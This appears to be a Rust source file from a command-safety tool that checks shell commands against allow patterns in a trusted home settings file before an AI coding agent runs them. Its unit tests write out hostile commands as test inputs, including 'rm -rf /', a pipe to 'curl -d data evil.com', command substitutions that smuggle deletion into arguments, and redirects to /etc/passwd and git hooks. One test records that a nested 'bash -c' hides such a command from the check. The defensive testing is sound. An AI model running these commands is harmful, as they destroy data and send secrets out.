Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12    /// Load allowlist patterns from trusted home config only
13    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
14    /// intentionally not read: it lives in the working tree the agent edits, and
15    /// the harness applies its own project settings directly. See
16    /// `docs/design/trusted-customization.md`.
17    pub fn load() -> Self {
18        match std::env::var_os("HOME") {
19            Some(home) => Self::load_from_home(Path::new(&home)),
20            None => Matcher {
21                exact: HashSet::new(),
22                globs: Vec::new(),
23            },
24        }
25    }
26
27    fn load_from_home(home: &Path) -> Self {
28        let mut patterns = Matcher {
29            exact: HashSet::new(),
30            globs: Vec::new(),
31        };
32        patterns.load_file(&home.join(".claude/settings.json"));
33        patterns
34    }
35
36    fn load_file(&mut self, path: &Path) {
37        let Ok(contents) = std::fs::read_to_string(path) else {
38            return;
39        };
40        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
41            return;
42        };
43
44        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
45            for entry in arr.iter().filter_map(|e| e.as_str()) {
46                self.add_pattern(entry);
47            }
48        }
49
50        if let Some(arr) = value
51            .get("permissions")
52            .and_then(|v| v.get("allow"))
53            .and_then(|v| v.as_array())
54        {
55            for entry in arr.iter().filter_map(|e| e.as_str()) {
56                self.add_pattern(entry);
57            }
58        }
59    }
60
61    fn add_pattern(&mut self, entry: &str) {
62        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
63            return;
64        };
65        if inner.is_empty() {
66            return;
67        }
68        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
69            format!("{prefix} *")
70        } else {
71            inner.to_string()
72        };
73        if normalized.contains('*') {
74            self.globs
75                .push(normalized.split('*').map(String::from).collect());
76        } else {
77            self.exact.insert(normalized);
78        }
79    }
80
81    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
82        let Cmd::Simple(simple) = cmd else {
83            return false;
84        };
85        let normalized = check::normalize_for_matching(simple);
86        let normalized = normalized.trim();
87        if normalized.is_empty() {
88            return false;
89        }
90        if self.exact.contains(normalized) {
91            return true;
92        }
93        self.globs
94            .iter()
95            .any(|parts| glob_matches(parts, normalized))
96    }
97
98    pub fn is_empty(&self) -> bool {
99        self.exact.is_empty() && self.globs.is_empty()
100    }
101
102    #[cfg(test)]
103    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
104        let mut m = Matcher {
105            exact: HashSet::new(),
106            globs: Vec::new(),
107        };
108        for p in patterns {
109            m.add_pattern(&format!("Bash({p})"));
110        }
111        m
112    }
113}
114
115pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
116    match cmd {
117        Cmd::Simple(_) => {
118            check::is_safe_cmd(cmd)
119                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
120        }
121        _ => check::is_safe_cmd(cmd),
122    }
123}
124
125fn glob_matches(parts: &[String], text: &str) -> bool {
126    let first = &parts[0];
127    let last = &parts[parts.len() - 1];
128
129    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
130        let prefix = &first[..first.len() - 1];
131        return text == prefix || text.starts_with(first.as_str());
132    }
133
134    if !text.starts_with(first.as_str()) {
135        return false;
136    }
137    if !text.ends_with(last.as_str()) {
138        return false;
139    }
140    let mut pos = first.len();
141    let end = text.len() - last.len();
142    if pos > end {
143        return false;
144    }
145    for part in &parts[1..parts.len() - 1] {
146        match text[pos..end].find(part.as_str()) {
147            Some(idx) => pos += idx + part.len(),
148            None => return false,
149        }
150    }
151    pos <= end
152}
153
154#[cfg(test)]
155mod tests {
156    use super::*;
157    use std::fs;
158
159    use crate::cst;
160
161    fn empty() -> Matcher {
162        Matcher {
163            exact: HashSet::new(),
164            globs: Vec::new(),
165        }
166    }
167
168    fn cmd(s: &str) -> Cmd {
169        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
170        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
171        assert_eq!(
172            script.0[0].pipeline.commands.len(),
173            1,
174            "expected single command: {s}"
175        );
176        script.0[0].pipeline.commands[0].clone()
177    }
178
179    fn segments(command: &str) -> Vec<Cmd> {
180        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
181        script
182            .0
183            .into_iter()
184            .flat_map(|stmt| stmt.pipeline.commands)
185            .collect()
186    }
187
188    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
189        is_cmd_covered(cmd, patterns)
190    }
191
192    fn all_covered(command: &str, patterns: &Matcher) -> bool {
193        let Some(script) = cst::parse(command) else {
194            return false;
195        };
196        script.0.iter().all(|stmt| {
197            check::is_safe_pipeline(&stmt.pipeline)
198                || stmt
199                    .pipeline
200                    .commands
201                    .iter()
202                    .all(|c| is_cmd_covered(c, patterns))
203        })
204    }
205
206    #[test]
207    fn parse_exact_pattern() {
208        let mut p = empty();
209        p.add_pattern("Bash(npm test)");
210        assert!(p.exact.contains("npm test"));
211        assert!(p.globs.is_empty());
212    }
213
214    #[test]
215    fn parse_legacy_colon_star() {
216        let mut p = empty();
217        p.add_pattern("Bash(npm run:*)");
218        assert!(p.exact.is_empty());
219        assert_eq!(p.globs.len(), 1);
220    }
221
222    #[test]
223    fn parse_space_star() {
224        let mut p = empty();
225        p.add_pattern("Bash(npm run *)");
226        assert!(p.exact.is_empty());
227        assert_eq!(p.globs.len(), 1);
228    }
229
230    #[test]
231    fn parse_non_bash_skipped() {
232        let mut p = empty();
233        p.add_pattern("WebFetch");
234        p.add_pattern("XcodeBuildMCP");
235        assert!(p.is_empty());
236    }
237
238    #[test]
239    fn parse_empty_bash_skipped() {
240        let mut p = empty();
241        p.add_pattern("Bash()");
242        assert!(p.is_empty());
243    }
244
245    #[test]
246    fn match_exact() {
247        let mut p = empty();
248        p.add_pattern("Bash(npm test)");
249        assert!(p.matches_cmd(&cmd("npm test")));
250        assert!(!p.matches_cmd(&cmd("npm test --watch")));
251    }
252
253    #[test]
254    fn match_space_star_word_boundary() {
255        let mut p = empty();
256        p.add_pattern("Bash(ls *)");
257        assert!(p.matches_cmd(&cmd("ls -la")));
258        assert!(p.matches_cmd(&cmd("ls foo")));
259        assert!(!p.matches_cmd(&cmd("lsof")));
260    }
261
262    #[test]
263    fn match_star_no_space_no_boundary() {
264        let mut p = empty();
265        p.add_pattern("Bash(ls*)");
266        assert!(p.matches_cmd(&cmd("ls -la")));
267        assert!(p.matches_cmd(&cmd("lsof")));
268    }
269
270    #[test]
271    fn match_legacy_colon_star_word_boundary() {
272        let mut p = empty();
273        p.add_pattern("Bash(npm run:*)");
274        assert!(p.matches_cmd(&cmd("npm run build")));
275        assert!(p.matches_cmd(&cmd("npm run test")));
276        assert!(!p.matches_cmd(&cmd("npm running")));
277        assert!(!p.matches_cmd(&cmd("npm install")));
278    }
279
280    #[test]
281    fn match_star_at_beginning() {
282        let mut p = empty();
283        p.add_pattern("Bash(* --version)");
284        assert!(p.matches_cmd(&cmd("npm --version")));
285        assert!(p.matches_cmd(&cmd("cargo --version")));
286        assert!(!p.matches_cmd(&cmd("npm --help")));
287    }
288
289    #[test]
290    fn match_star_in_middle() {
291        let mut p = empty();
292        p.add_pattern("Bash(git * main)");
293        assert!(p.matches_cmd(&cmd("git checkout main")));
294        assert!(p.matches_cmd(&cmd("git merge main")));
295        assert!(!p.matches_cmd(&cmd("git checkout develop")));
296    }
297
298    #[test]
299    fn match_env_prefix_stripped() {
300        let mut p = empty();
301        p.add_pattern("Bash(bundle install)");
302        assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
303    }
304
305    #[test]
306    fn match_fd_redirect_stripped() {
307        let mut p = empty();
308        p.add_pattern("Bash(npm test)");
309        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
310    }
311
312    #[test]
313    fn match_fd_redirect_with_glob() {
314        let mut p = empty();
315        p.add_pattern("Bash(npm run *)");
316        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
317    }
318
319    #[test]
320    fn empty_patterns_match_nothing() {
321        let p = empty();
322        assert!(!p.matches_cmd(&cmd("anything")));
323    }
324
325    #[test]
326    fn match_bare_star_matches_everything() {
327        let mut p = empty();
328        p.add_pattern("Bash(*)");
329        assert!(p.matches_cmd(&cmd("anything at all")));
330        assert!(p.matches_cmd(&cmd("rm -rf /")));
331    }
332
333    #[test]
334    fn unsafe_syntax_not_bypassed_by_match() {
335        let mut p = empty();
336        p.add_pattern("Bash(./script.sh *)");
337        let c = cmd("./script.sh > /etc/passwd");
338        assert!(check::has_unsafe_syntax(&c));
339        assert!(!is_covered(&c, &p));
340    }
341
342    #[test]
343    fn command_substitution_not_bypassed_by_match() {
344        let mut p = empty();
345        p.add_pattern("Bash(./script.sh *)");
346        let c = cmd("./script.sh $(rm -rf /)");
347        assert!(!is_covered(&c, &p));
348    }
349
350    #[test]
351    fn mixed_chain_safe_plus_settings() {
352        let mut p = empty();
353        p.add_pattern("Bash(./generate-docs.sh)");
354        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
355    }
356
357    #[test]
358    fn mixed_chain_safe_plus_unapproved_denied() {
359        let mut p = empty();
360        p.add_pattern("Bash(./generate-docs.sh)");
361        assert!(!all_covered("cargo test && rm -rf /", &p));
362    }
363
364    #[test]
365    fn glob_does_not_cross_chain_boundary() {
366        let mut p = empty();
367        p.add_pattern("Bash(cargo test *)");
368        let cmds = segments("cargo test --release && rm -rf /");
369        assert_eq!(cmds.len(), 2);
370        assert!(p.matches_cmd(&cmds[0]));
371        assert!(!p.matches_cmd(&cmds[1]));
372        assert!(!all_covered("cargo test --release && rm -rf /", &p));
373    }
374
375    #[test]
376    fn glob_does_not_cross_pipe_boundary() {
377        let mut p = empty();
378        p.add_pattern("Bash(safe-cmd *)");
379        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
380    }
381
382    #[test]
383    fn glob_does_not_cross_semicolon_boundary() {
384        let mut p = empty();
385        p.add_pattern("Bash(safe-cmd *)");
386        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
387    }
388
389    #[test]
390    fn file_redirect_promoted_to_safewrite() {
391        let p = empty();
392        let c = cmd("echo > out.txt");
393        assert!(is_covered(&c, &p));
394    }
395
396    #[test]
397    fn redirect_to_sensitive_target_not_covered() {
398        let p = empty();
399        assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
400        assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
401    }
402
403    #[test]
404    fn bare_star_blocked_by_unsafe_syntax_backtick() {
405        let mut p = empty();
406        p.add_pattern("Bash(*)");
407        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
408    }
409
410    #[test]
411    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
412        let mut p = empty();
413        p.add_pattern("Bash(*)");
414        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
415    }
416
417    #[test]
418    fn safe_command_substitution_allowed_through_is_safe() {
419        let p = empty();
420        assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
421    }
422
423    #[test]
424    fn nested_shell_not_recursively_validated_by_settings() {
425        let mut p = empty();
426        p.add_pattern("Bash(bash *)");
427        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
428        assert!(!check::is_safe_cmd(&c));
429        assert!(!check::has_unsafe_syntax(&c));
430        assert!(is_covered(&c, &p));
431    }
432
433    #[test]
434    fn nested_shell_redirect_promoted_to_safewrite() {
435        let p = empty();
436        let c = cmd("bash -c 'echo hello' > /tmp/out");
437        assert!(is_covered(&c, &p));
438    }
439
440    #[test]
441    fn quoted_operators_stay_as_one_segment() {
442        let mut p = empty();
443        p.add_pattern("Bash(./script *)");
444        assert!(all_covered("./script 'arg && rm -rf /'", &p));
445    }
446
447    #[test]
448    fn load_from_home_reads_home_settings() {
449        let home = tempfile::tempdir().unwrap();
450        let claude_dir = home.path().join(".claude");
451        fs::create_dir_all(&claude_dir).unwrap();
452        fs::write(
453            claude_dir.join("settings.json"),
454            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
455        )
456        .unwrap();
457        let p = Matcher::load_from_home(home.path());
458        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
459        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
460        assert!(!p.matches_cmd(&cmd("./evil.sh")));
461    }
462
463    #[test]
464    fn load_from_home_ignores_project_settings() {
465        // A project's .claude/settings.json living next to home is never read:
466        // only ~/.claude/settings.json is. Here the project tree has an allow
467        // entry that must not take effect.
468        let home = tempfile::tempdir().unwrap();
469        let project = tempfile::tempdir().unwrap();
470        let project_claude = project.path().join(".claude");
471        fs::create_dir_all(&project_claude).unwrap();
472        fs::write(
473            project_claude.join("settings.json"),
474            r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
475        )
476        .unwrap();
477        let p = Matcher::load_from_home(home.path());
478        assert!(!p.matches_cmd(&cmd("rm -rf /")));
479        assert!(p.is_empty());
480    }
481
482    #[test]
483    fn load_from_home_chains_with_builtins() {
484        let home = tempfile::tempdir().unwrap();
485        let claude_dir = home.path().join(".claude");
486        fs::create_dir_all(&claude_dir).unwrap();
487        fs::write(
488            claude_dir.join("settings.json"),
489            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
490        )
491        .unwrap();
492        let p = Matcher::load_from_home(home.path());
493        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
494        assert!(!all_covered("cargo test && ./evil.sh", &p));
495    }
496
497    #[test]
498    fn load_file_nonexistent() {
499        let mut p = empty();
500        p.load_file(Path::new("/nonexistent/path/settings.json"));
501        assert!(p.is_empty());
502    }
503
504    #[test]
505    fn load_file_malformed_json() {
506        let dir = tempfile::tempdir().unwrap();
507        let path = dir.path().join("settings.json");
508        std::fs::write(&path, "not json{{{").unwrap();
509        let mut p = empty();
510        p.load_file(&path);
511        assert!(p.is_empty());
512    }
513
514    #[test]
515    fn load_file_approved_commands() {
516        let dir = tempfile::tempdir().unwrap();
517        let path = dir.path().join("settings.json");
518        fs::write(
519            &path,
520            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
521        )
522        .unwrap();
523        let mut p = empty();
524        p.load_file(&path);
525        assert!(p.matches_cmd(&cmd("npm test")));
526        assert!(p.matches_cmd(&cmd("npm run build")));
527        assert!(!p.matches_cmd(&cmd("curl evil.com")));
528    }
529
530    #[test]
531    fn load_file_permissions_allow() {
532        let dir = tempfile::tempdir().unwrap();
533        let path = dir.path().join("settings.json");
534        fs::write(
535            &path,
536            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
537        )
538        .unwrap();
539        let mut p = empty();
540        p.load_file(&path);
541        assert!(p.matches_cmd(&cmd("cargo test")));
542        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
543    }
544
545    #[test]
546    fn load_file_both_fields() {
547        let dir = tempfile::tempdir().unwrap();
548        let path = dir.path().join("settings.json");
549        fs::write(
550            &path,
551            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
552        )
553        .unwrap();
554        let mut p = empty();
555        p.load_file(&path);
556        assert!(p.matches_cmd(&cmd("npm test")));
557        assert!(p.matches_cmd(&cmd("cargo test --release")));
558    }
559}